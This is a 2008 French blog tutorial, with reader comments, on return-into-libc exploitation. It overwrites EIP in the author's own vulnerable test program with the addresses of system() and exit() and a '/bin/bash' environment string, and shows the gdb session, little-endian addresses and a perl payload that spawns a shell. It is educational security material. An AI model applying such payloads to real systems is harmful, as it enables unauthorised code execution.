2008/07/11

Return Into Libc

Salut a tous !
Bon , je sais j'ai un peu mis ce blog de coté ces derniers temps , mais c'est fini , rassurez-vous ;) .
Pour fêter ça , je vous propose un article traitant des fameux "Returns-into-libc ".

Bref , stoppons les baratins inutiles et place a l'article \o/.

-----Voici les codes dont nous auront besoins :
vuln.c
var-env.c
-----

Je précise toutefois que cet article s'adresse aux personnes sachant au minimum
exploiter un classique stack overflow (Voir article prévu a cet effet sur ce blog)
et ,donc, connaissant le fonctionnement de la pile.

La méthode du "return-into-libc" consiste, non pas à exécuter un
shellcode, mais à détourner le programme en lui faisant exécuter du code qui
est bien souvent dans une librairie telle que la libc.

Les librairies sont chargées à des adresses prédictibles sur
les noyaux standards, on les retrouve donc facilement .

Rappelons-nous que la libc, contient toutes les fonctions utiles à
l'exécution d'un shell.

Il faut impérativement bien visualiser le schéma suivant :

1) Vous venez d'écraser EIP avec l'adresse de la fonction system() située dans l'espace mémoire du
processus vulnérable.

2) Le programme saute sur system().

3) La fonction system() va faire son prologue, sans erreurs. Par contre system() va vouloir aller chercher
le paramètre que vous lui avez passé, et forcément , s'attend pour cela à ce qu'il y ait
un argument sur la pile.

4) Cet argument sur la pile, c'est l'adresse de votre chaîne de caractère "/bin/sh".
Mais pour cela vous devrez le "déposer" sur la pile pour que system() le récupère.

System() va donc récupérer cette chaine juste après EIP .

-----------------------------------------------------------------------------------------------------------------------------------------
Cet test a été réalisé sur une GNU/Linux Free 2008 (version 2.6.22.9 du noyau Linux) tournant sur une machine ayant pour Processeur un Intel Pentium IIII.
Aucunes fonctionalités n'a été modifiés au préalable , nous sommes ici en présence d'une config systeme par défaut ; cela dit , il faut bien avoir a l'esprit que les adresses et PID changeront , ceci est tout a fait normal d'une machine a l'autre (cet article n'est ici que dans le but de vous aidez a comprendre et , le cas échéant , a reproduire ces étapes chez vous en prenant notes des indications données dans ce paragraphe ( ThX Decerebrain ;-) ).
-----------------------------------------------------------------------------------------------------------------------------------------


-------Testons ça concrètement ------

En premier lieu , compilons notre programme vulnérable:

gcc -o vuln vuln.c // Rappel

Dans un premier shell , lançons ce programme:

[kmkz@localhost Bureau]$ ./vuln [Argument]
pid = 8219


-- Dans un autre shell ,nous allons exporter "/bin/sh" (pour le placer dans le meme environnement).
Ensuite , nous devons récupéré l'adresse en mémoire de la nouvelle variable d'environnement .
Noue le feront grace a notre petit programme écrit en C ( code "var-env.c") :

[root@localhost Bureau]# export kmkz=/bin/bash
[root@localhost Bureau]# ./var-env kmkz
**/bin/bash se situe a l'adresse b 0xbffec808 ** // et voila le travail ;-) .

Maintenant , il ne reste qu'a exploiter on lance gdb et notre "vuln.c" :

[kmkz@localhost Bureau]$ gdb ./vuln 8219 // 8219 étant le PID
GNU gdb 6.6-3mdv2008.0 ( Linux release 2008.0)
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-linux-gnu"...
Using host libthread_db library "/lib/i686/libthread_db.so.1".
Attaching to program: /home/kmkz/Bureau/vuln, process 8219 // Notre PID ici aussi \o/
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0x080484c8 in main ()


--- Récupérons l'adresse de system() :
(gdb) x/x system
0x400608a0 : 0x83e58955

Et celle de exit() qui servira a quitté le programme "proprement":
(gdb) x/x exit
0x4004d0a0 : 0x57e58955

Waou ,c'est kewl ! :-)

Allez il ne nous reste plus qu'a convertir ça en Little Endian (voir selon les processeurs) et a construire notre Argument pour
l'obtention de notre Shell ce qui donne dans cet exemple :

"\xa0\x08\x06\x40" = system()
"\xa0\xd0\x04\x40" = exit()
"\x08\xc8\xfe\xbf" = notre shell

=> 1032 octets à écrire pour écraser entièrement EIP (1024 (buffer) + 4 + 4)
// Voir article sur les Stack Overflow
Nous devons donc passer l'argument de cette façon sur la ligne de commande :

[1028 octets] ["system()"] ["exit()] ["/bin/sh"]

Si tout se passe bien (et c'est le but ;) ), on doit obtenir ceci :

(gdb) r `perl -e 'print "x" x 1028 . "\xa0\x08\x06\x40"."\xa0\xd0\x04\x40"."\x08\xc8\xfe\xbf"'`
Starting program: /home/kmkz/Bureau/vuln `perl -e 'print "x" x 1028."\xa0\x08\x06\x40"."\xa0\xd0\x04\x40". "\x08\xc8\xfe\xbf"'`
sh-3.00$ <---- Notre Shell ^_^ -Remerciement a Marnage & 0vercl0k pour leur lumieres ;-) .

3 commentaires:

Anonyme a dit…

Faudrait que tu précises l'environnement dans lequel tu travaille, de manière à ce que le lecteur puisse reproduire au mieux les conditions d'exploitation dans son environnement propre.

Quel système ? Si c'est du GNU/*/Linux, quelle distribution, et quelle version du noyau Linux ? As-tu activé/désactivé des fonctionnalités pour ton article ou bien tout cela fonctionne-t-il dans l'environnement par défaut du système utilisé ?

Est-ce portable ? Cela fonctionnerait-il en l'état avec d'autres systèmes/distribution, d'autres architectures matérielles ?

Cordialement,
DecereBrain

kmkz a dit…

yop decerebrain !

Bon , je viens de lire ton commentaire , je pense en effet que quelques précision s'imposent , je vais éditer cela dessuite .

Par ailleur , lorsque j'ai rédiger l'article, je pensai que les lignes obtenues lors du lancement de gdb étaient suffisement explicites concernant l'OS , la version et son noyau .
Dans tout les cas , je prend note de tes appréciations et vais éditer mon article de ce pas .
Salutations .

kmkz

Anonyme a dit…

:)

(Essaie aussi d'ajouter une bibliographie à tes prochains articles , même succincte, ça permet toujours au lecteur intéressé de savoir où taper pour se renseigner.)

(Promis j'arrête de critiquer... ;-)